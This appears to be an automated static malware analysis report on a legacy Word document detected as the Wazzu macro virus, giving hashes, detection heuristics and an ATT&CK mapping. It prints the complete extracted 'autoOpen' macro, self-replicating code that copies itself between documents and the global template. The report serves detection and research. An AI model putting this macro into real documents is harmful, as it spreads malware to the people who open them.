Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 08655249c977af7d…

MALICIOUS

Office (OLE)

26.5 KB Created: 1998-11-07 13:37:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 26f47938a1593cc8522d18165f52c820 SHA-1: e0425d5dbb288d0282cf0bb322b40dc7201d1e42 SHA-256: 08655249c977af7de88b229370386e46fe43632696bfeb3192706b091d070489
188 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample is identified as malicious by ClamAV with multiple high-severity heuristics indicating legacy WordBasic macro virus markers and the presence of an AutoOpen macro. The extracted VBA script, named 'autoOpen', contains logic to copy itself and potentially save the document in a macro-enabled format, suggesting an attempt to ensure persistence or spread. The presence of 'wazzu.dot' in the document body and script further points to its identity.

Heuristics 4

  • ClamAV: Doc.Trojan.Wazzu-47 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Wazzu-47
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "autoOpen"

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 746 bytes
SHA-256: 0edfa73652e6b7a303eea419f1f0bd3262c846bddef30e1e2e9964a80f4b1f85
Detection
ClamAV: Doc.Trojan.Wazzu-12
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "autoOpen"

Public Sub MAIN()
Dim f1$, g1$
Dim d1 As Object: Set d1 = WordBasic.DialogRecord.FileSummaryInfo(False)
WordBasic.CurValues.FileSummaryInfo d1
f1$ = d1.Directory + "\" + d1.FileName + ":autoOpen"
g1$ = "Global:autoOpen"
If UCase(WordBasic.[Right$](WordBasic.[MacroFileName$](WordBasic.[MacroName$](0)), 4)) = ".DOT" Then
WordBasic.MacroCopy g1$, f1$
WordBasic.FileSaveAs Format:=1
Else
WordBasic.MacroCopy f1$, g1$
End If
End Sub